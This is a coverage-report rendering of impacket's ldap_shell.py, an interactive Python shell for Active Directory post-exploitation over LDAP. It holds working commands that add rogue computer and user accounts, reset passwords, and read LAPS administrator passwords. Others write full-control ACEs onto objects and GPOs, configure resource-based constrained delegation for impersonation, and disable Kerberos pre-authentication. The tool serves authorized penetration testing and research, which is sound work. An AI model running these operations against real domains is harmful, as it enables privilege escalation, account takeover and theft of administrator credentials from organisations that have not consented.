Coverage for /root/GitHubProjects/impacket/impacket/examples/ldap_shell.py : 8%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
3#
4# This software is provided under under a slightly modified version
5# of the Apache Software License. See the accompanying LICENSE file
6# for more information.
7#
8# Description: Mini shell using some of the LDAP functionalities of the library
9#
10# Author:
11# Mathieu Gascon-Lefebvre (@mlefebvre)
12#
13import re
14import string
15import sys
16import cmd
17import random
18import ldap3
19from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM
20from ldap3.utils.conv import escape_filter_chars
21from six import PY2
22import shlex
23from impacket import LOG
24from ldap3.protocol.microsoft import security_descriptor_control
25from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP
26from impacket.ldap import ldaptypes
29class LdapShell(cmd.Cmd):
30 LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941"
32 def __init__(self, tcp_shell, domain_dumper, client):
33 cmd.Cmd.__init__(self, stdin=tcp_shell.stdin, stdout=tcp_shell.stdout)
35 if PY2:
36 # switch to unicode.
37 reload(sys) # noqa: F821 pylint:disable=undefined-variable
38 sys.setdefaultencoding('utf8')
40 sys.stdout = tcp_shell.stdout
41 sys.stdin = tcp_shell.stdin
42 sys.stderr = tcp_shell.stdout
43 self.use_rawinput = False
44 self.shell = tcp_shell
46 self.prompt = '\n# '
47 self.tid = None
48 self.intro = 'Type help for list of commands'
49 self.loggedIn = True
50 self.last_output = None
51 self.completion = []
52 self.client = client
53 self.domain_dumper = domain_dumper
55 def emptyline(self):
56 pass
58 def onecmd(self, s):
59 ret_val = False
60 try:
61 ret_val = cmd.Cmd.onecmd(self, s)
62 except Exception as e:
63 print(e)
64 LOG.error(e)
65 LOG.debug('Exception info', exc_info=True)
67 return ret_val
69 def create_empty_sd(self):
70 sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
71 sd['Revision'] = b'\x01'
72 sd['Sbz1'] = b'\x00'
73 sd['Control'] = 32772
74 sd['OwnerSid'] = ldaptypes.LDAP_SID()
75 # BUILTIN\Administrators
76 sd['OwnerSid'].fromCanonical('S-1-5-32-544')
77 sd['GroupSid'] = b''
78 sd['Sacl'] = b''
79 acl = ldaptypes.ACL()
80 acl['AclRevision'] = 4
81 acl['Sbz1'] = 0
82 acl['Sbz2'] = 0
83 acl.aces = []
84 sd['Dacl'] = acl
85 return sd
87 def create_allow_ace(self, sid):
88 nace = ldaptypes.ACE()
89 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
90 nace['AceFlags'] = 0x00
91 acedata = ldaptypes.ACCESS_ALLOWED_ACE()
92 acedata['Mask'] = ldaptypes.ACCESS_MASK()
93 acedata['Mask']['Mask'] = 983551 # Full control
94 acedata['Sid'] = ldaptypes.LDAP_SID()
95 acedata['Sid'].fromCanonical(sid)
96 nace['Ace'] = acedata
97 return nace
99 def do_write_gpo_dacl(self, line):
100 args = shlex.split(line)
101 print ("Adding %s to GPO with GUID %s" % (args[0], args[1]))
102 if len(args) != 2:
103 raise Exception("A samaccountname and GPO sid are required.")
105 tgtUser = args[0]
106 gposid = args[1]
107 self.client.search(self.domain_dumper.root, '(&(objectclass=person)(sAMAccountName=%s))' % tgtUser, attributes=['objectSid'])
108 if len( self.client.entries) <= 0:
109 raise Exception("Didnt find the given user")
111 user = self.client.entries[0]
113 controls = security_descriptor_control(sdflags=0x04)
114 self.client.search(self.domain_dumper.root, '(&(objectclass=groupPolicyContainer)(name=%s))' % gposid, attributes=['objectSid','nTSecurityDescriptor'], controls=controls)
116 if len( self.client.entries) <= 0:
117 raise Exception("Didnt find the given gpo")
118 gpo = self.client.entries[0]
120 secDescData = gpo['nTSecurityDescriptor'].raw_values[0]
121 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
122 newace = self.create_allow_ace(str(user['objectSid']))
123 secDesc['Dacl']['Data'].append(newace)
124 data = secDesc.getData()
126 self.client.modify(gpo.entry_dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
127 if self.client.result["result"] == 0:
128 print('LDAP server claims to have taken the secdescriptor. Have fun')
129 else:
130 raise Exception("Something wasnt right: %s" %str(self.client.result['description']))
132 def do_add_computer(self, line):
133 args = shlex.split(line)
135 if not self.client.server.ssl:
136 print("Error adding a new computer with LDAP requires LDAPS.")
138 if len(args) != 1 and len(args) != 2:
139 raise Exception("Error expected a computer name and an optional password argument.")
141 computer_name = args[0]
142 if not computer_name.endswith('$'):
143 computer_name += '$'
145 print("Attempting to add a new computer with the name: %s" % computer_name)
147 password = ""
148 if len(args) == 1:
149 password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
150 else:
151 password = args[1]
153 domain_dn = self.domain_dumper.root
154 domain = re.sub(',DC=', '.', domain_dn[domain_dn.find('DC='):], flags=re.I)[3:]
156 print("Inferred Domain DN: %s" % domain_dn)
157 print("Inferred Domain Name: %s" % domain)
159 computer_hostname = computer_name[:-1] # Remove $ sign
160 computer_dn = "CN=%s,CN=Computers,%s" % (computer_hostname, self.domain_dumper.root)
161 print("New Computer DN: %s" % computer_dn)
163 spns = [
164 'HOST/%s' % computer_hostname,
165 'HOST/%s.%s' % (computer_hostname, domain),
166 'RestrictedKrbHost/%s' % computer_hostname,
167 'RestrictedKrbHost/%s.%s' % (computer_hostname, domain),
168 ]
169 ucd = {
170 'dnsHostName': '%s.%s' % (computer_hostname, domain),
171 'userAccountControl': 4096,
172 'servicePrincipalName': spns,
173 'sAMAccountName': computer_name,
174 'unicodePwd': '"{}"'.format(password).encode('utf-16-le')
175 }
177 res = self.client.add(computer_dn, ['top','person','organizationalPerson','user','computer'], ucd)
179 if not res:
180 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM:
181 print("Failed to add a new computer. The server denied the operation.")
182 else:
183 print('Failed to add a new computer: %s' % str(self.client.result))
184 else:
185 print('Adding new computer with username: %s and password: %s result: OK' % (computer_name, password))
187 def do_add_user(self, line):
188 args = shlex.split(line)
189 if len(args) == 0:
190 raise Exception("A username is required.")
192 new_user = args[0]
193 if len(args) == 1:
194 parent_dn = 'CN=Users,%s' % self.domain_dumper.root
195 else:
196 parent_dn = args[1]
198 new_password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
200 new_user_dn = 'CN=%s,%s' % (new_user, parent_dn)
201 ucd = {
202 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % self.domain_dumper.root,
203 'distinguishedName': new_user_dn,
204 'cn': new_user,
205 'sn': new_user,
206 'givenName': new_user,
207 'displayName': new_user,
208 'name': new_user,
209 'userAccountControl': 512,
210 'accountExpires': '0',
211 'sAMAccountName': new_user,
212 'unicodePwd': '"{}"'.format(new_password).encode('utf-16-le')
213 }
215 print('Attempting to create user in: %s', parent_dn)
216 res = self.client.add(new_user_dn, ['top', 'person', 'organizationalPerson', 'user'], ucd)
217 if not res:
218 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
219 raise Exception('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')
220 else:
221 raise Exception('Failed to add a new user: %s' % str(self.client.result['description']))
222 else:
223 print('Adding new user with username: %s and password: %s result: OK' % (new_user, new_password))
225 def do_add_user_to_group(self, line):
226 user_name, group_name = shlex.split(line)
228 user_dn = self.get_dn(user_name)
229 if not user_dn:
230 raise Exception("User not found in LDAP: %s" % user_name)
232 group_dn = self.get_dn(group_name)
233 if not group_dn:
234 raise Exception("Group not found in LDAP: %s" % group_name)
236 user_name = user_dn.split(',')[0][3:]
237 group_name = group_dn.split(',')[0][3:]
239 res = self.client.modify(group_dn, {'member': [(ldap3.MODIFY_ADD, [user_dn])]})
240 if res:
241 print('Adding user: %s to group %s result: OK' % (user_name, group_name))
242 else:
243 raise Exception('Failed to add user to %s group: %s' % (group_name, str(self.client.result['description'])))
245 def do_change_password(self, line):
246 args = shlex.split(line)
248 if len(args) != 1 and len(args) != 2:
249 raise Exception("Error expected a username and an optional password argument. Instead %d arguments were provided" % len(args))
251 user_dn = self.get_dn(args[0])
252 print("Got User DN: " + user_dn)
254 password = ""
255 if len(args) == 1:
256 password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
257 else:
258 password = args[1]
260 print("Attempting to set new password of: %s" % password)
261 success = self.client.extend.microsoft.modify_password(user_dn, password)
263 if self.client.result['result'] == 0:
264 print('Password changed successfully!')
265 else:
266 if self.client.result['result'] == 50:
267 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
268 elif self.client.result['result'] == 19:
269 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
270 else:
271 raise Exception('The server returned an error: %s', self.client.result['message'])
273 def do_clear_rbcd(self, computer_name):
275 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
276 if success is False or len(self.client.entries) != 1:
277 raise Exception("Error expected only one search result got %d results", len(self.client.entries))
279 target = self.client.entries[0]
280 target_sid = target["objectsid"].value
281 print("Found Target DN: %s" % target.entry_dn)
282 print("Target SID: %s\n" % target_sid)
284 sd = self.create_empty_sd()
286 self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
287 if self.client.result['result'] == 0:
288 print('Delegation rights cleared successfully!')
289 else:
290 if self.client.result['result'] == 50:
291 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
292 elif self.client.result['result'] == 19:
293 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
294 else:
295 raise Exception('The server returned an error: %s', self.client.result['message'])
297 def do_dump(self, line):
298 print('Dumping domain info...')
299 self.stdout.flush()
300 self.domain_dumper.domainDump()
301 print('Domain info dumped into lootdir!')
303 def do_disable_account(self, username):
304 self.toggle_account_enable_disable(username, False)
306 def do_enable_account(self, username):
307 self.toggle_account_enable_disable(username, True)
309 def toggle_account_enable_disable(self, user_name, enable):
310 UF_ACCOUNT_DISABLE = 2
311 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl'])
313 if len(self.client.entries) != 1:
314 raise Exception("Error expected only one search result got %d results", len(self.client.entries))
316 user_dn = self.client.entries[0].entry_dn
317 if not user_dn:
318 raise Exception("User not found in LDAP: %s" % user_name)
320 entry = self.client.entries[0]
321 userAccountControl = entry["userAccountControl"].value
323 print("Original userAccountControl: %d" % userAccountControl)
325 if enable:
326 userAccountControl = userAccountControl & ~UF_ACCOUNT_DISABLE
327 else:
328 userAccountControl = userAccountControl | UF_ACCOUNT_DISABLE
330 self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])})
332 if self.client.result['result'] == 0:
333 print("Updated userAccountControl attribute successfully")
334 else:
335 if self.client.result['result'] == 50:
336 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
337 elif self.client.result['result'] == 19:
338 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
339 else:
340 raise Exception('The server returned an error: %s', self.client.result['message'])
342 def do_search(self, line):
343 arguments = shlex.split(line)
344 if len(arguments) == 0:
345 raise Exception("A query is required.")
347 filter_attributes = ['name', 'distinguishedName', 'sAMAccountName']
348 attributes = filter_attributes[:]
349 attributes.append('objectSid')
350 for argument in arguments[1:]:
351 attributes.append(argument)
353 search_query = "".join("(%s=*%s*)" % (attribute, escape_filter_chars(arguments[0])) for attribute in filter_attributes)
354 self.search('(|%s)' % search_query, *attributes)
356 def do_set_dontreqpreauth(self, line):
357 UF_DONT_REQUIRE_PREAUTH = 4194304
359 args = shlex.split(line)
360 if len(args) != 2:
361 raise Exception("Username (SAMAccountName) and true/false flag required (e.g. jsmith true).")
363 user_name = args[0]
364 flag_str = args[1]
365 flag = False
367 if flag_str.lower() == "true":
368 flag = True
369 elif flag_str.lower() == "false":
370 flag = False
371 else:
372 raise Exception("The specified flag must be either true or false")
374 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl'])
375 if len(self.client.entries) != 1:
376 raise Exception("Error expected only one search result got %d results", len(self.client.entries))
378 user_dn = self.client.entries[0].entry_dn
379 if not user_dn:
380 raise Exception("User not found in LDAP: %s" % user_name)
382 entry = self.client.entries[0]
383 userAccountControl = entry["userAccountControl"].value
384 print("Original userAccountControl: %d" % userAccountControl)
386 if flag:
387 userAccountControl = userAccountControl | UF_DONT_REQUIRE_PREAUTH
388 else:
389 userAccountControl = userAccountControl & ~UF_DONT_REQUIRE_PREAUTH
391 print("Updated userAccountControl: %d" % userAccountControl)
392 self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])})
394 if self.client.result['result'] == 0:
395 print("Updated userAccountControl attribute successfully")
396 else:
397 if self.client.result['result'] == 50:
398 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
399 elif self.client.result['result'] == 19:
400 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
401 else:
402 raise Exception('The server returned an error: %s', self.client.result['message'])
404 def do_get_user_groups(self, user_name):
405 user_dn = self.get_dn(user_name)
406 if not user_dn:
407 raise Exception("User not found in LDAP: %s" % user_name)
409 self.search('(member:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(user_dn)))
411 def do_get_group_users(self, group_name):
412 group_dn = self.get_dn(group_name)
413 if not group_dn:
414 raise Exception("Group not found in LDAP: %s" % group_name)
416 self.search('(memberof:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(group_dn)), "sAMAccountName", "name")
418 def do_get_laps_password(self, computer_name):
420 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['ms-MCS-AdmPwd'])
421 if len(self.client.entries) != 1:
422 raise Exception("Error expected only one search result got %d results", len(self.client.entries))
424 computer = self.client.entries[0]
425 print("Found Computer DN: %s" % computer.entry_dn)
427 password = computer["ms-MCS-AdmPwd"].value
429 if password is not None:
430 print("LAPS Password: %s" % password)
431 else:
432 print("Unable to Read LAPS Password for Computer")
434 def do_grant_control(self, line):
435 args = shlex.split(line)
437 if len(args) != 1 and len(args) != 2:
438 raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args))
440 controls = security_descriptor_control(sdflags=0x04)
442 target_name = args[0]
443 grantee_name = args[1]
445 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls)
446 if success is False or len(self.client.entries) != 1:
447 raise Exception("Error expected only one search result got %d results", len(self.client.entries))
449 target = self.client.entries[0]
450 target_sid = target["objectSid"].value
451 print("Found Target DN: %s" % target.entry_dn)
452 print("Target SID: %s\n" % target_sid)
454 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid'])
455 if success is False or len(self.client.entries) != 1:
456 raise Exception("Error expected only one search result got %d results", len(self.client.entries))
458 grantee = self.client.entries[0]
459 grantee_sid = grantee["objectSid"].value
460 print("Found Grantee DN: %s" % grantee.entry_dn)
461 print("Grantee SID: %s" % grantee_sid)
463 try:
464 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['nTSecurityDescriptor'].raw_values[0])
465 except IndexError:
466 sd = self.create_empty_sd()
468 sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid))
469 self.client.modify(target.entry_dn, {'nTSecurityDescriptor':[ldap3.MODIFY_REPLACE, [sd.getData()]]}, controls=controls)
471 if self.client.result['result'] == 0:
472 print('DACL modified successfully!')
473 print('%s now has control of %s' % (grantee_name, target_name))
474 else:
475 if self.client.result['result'] == 50:
476 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
477 elif self.client.result['result'] == 19:
478 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
479 else:
480 raise Exception('The server returned an error: %s', self.client.result['message'])
482 def do_set_rbcd(self, line):
483 args = shlex.split(line)
485 if len(args) != 1 and len(args) != 2:
486 raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args))
488 target_name = args[0]
489 grantee_name = args[1]
491 target_sid = args[0]
492 grantee_sid = args[1]
494 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
495 if success is False or len(self.client.entries) != 1:
496 raise Exception("Error expected only one search result got %d results", len(self.client.entries))
498 target = self.client.entries[0]
499 target_sid = target["objectSid"].value
500 print("Found Target DN: %s" % target.entry_dn)
501 print("Target SID: %s\n" % target_sid)
503 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid'])
504 if success is False or len(self.client.entries) != 1:
505 raise Exception("Error expected only one search result got %d results", len(self.client.entries))
507 grantee = self.client.entries[0]
508 grantee_sid = grantee["objectSid"].value
509 print("Found Grantee DN: %s" % grantee.entry_dn)
510 print("Grantee SID: %s" % grantee_sid)
512 try:
513 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values[0])
514 print('Currently allowed sids:')
515 for ace in sd['Dacl'].aces:
516 print(' %s' % ace['Ace']['Sid'].formatCanonical())
518 if ace['Ace']['Sid'].formatCanonical() == grantee_sid:
519 print("Grantee is already permitted to perform delegation to the target host")
520 return
522 except IndexError:
523 sd = self.create_empty_sd()
525 sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid))
526 self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
528 if self.client.result['result'] == 0:
529 print('Delegation rights modified successfully!')
530 print('%s can now impersonate users on %s via S4U2Proxy' % (grantee_name, target_name))
531 else:
532 if self.client.result['result'] == 50:
533 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
534 elif self.client.result['result'] == 19:
535 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
536 else:
537 raise Exception('The server returned an error: %s', self.client.result['message'])
539 def search(self, query, *attributes):
540 self.client.search(self.domain_dumper.root, query, attributes=attributes)
541 for entry in self.client.entries:
542 print(entry.entry_dn)
543 for attribute in attributes:
544 value = entry[attribute].value
545 if value:
546 print("%s: %s" % (attribute, entry[attribute].value))
547 if any(attributes):
548 print("---")
550 def get_dn(self, sam_name):
551 if "," in sam_name:
552 return sam_name
554 try:
555 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(sam_name), attributes=['objectSid'])
556 return self.client.entries[0].entry_dn
557 except IndexError:
558 return None
560 def do_exit(self, line):
561 if self.shell is not None:
562 self.shell.close()
563 return True
565 def do_help(self, line):
566 print("""
567 add_computer computer [password] - Adds a new computer to the domain with the specified password. Requires LDAPS.
568 add_user new_user [parent] - Creates a new user.
569 add_user_to_group user group - Adds a user to a group.
570 change_password user [password] - Attempt to change a given user's password. Requires LDAPS.
571 clear_rbcd target - Clear the resource based constrained delegation configuration information.
572 disable_account user - Disable the user's account.
573 enable_account user - Enable the user's account.
574 dump - Dumps the domain.
575 search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.
576 get_user_groups user - Retrieves all groups this user is a member of.
577 get_group_users group - Retrieves all members of a group.
578 get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).
579 grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName).
580 set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false.
581 set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
582 write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.
583 exit - Terminates this session.""")
585 def do_EOF(self, line):
586 print('Bye!\n')
587 return True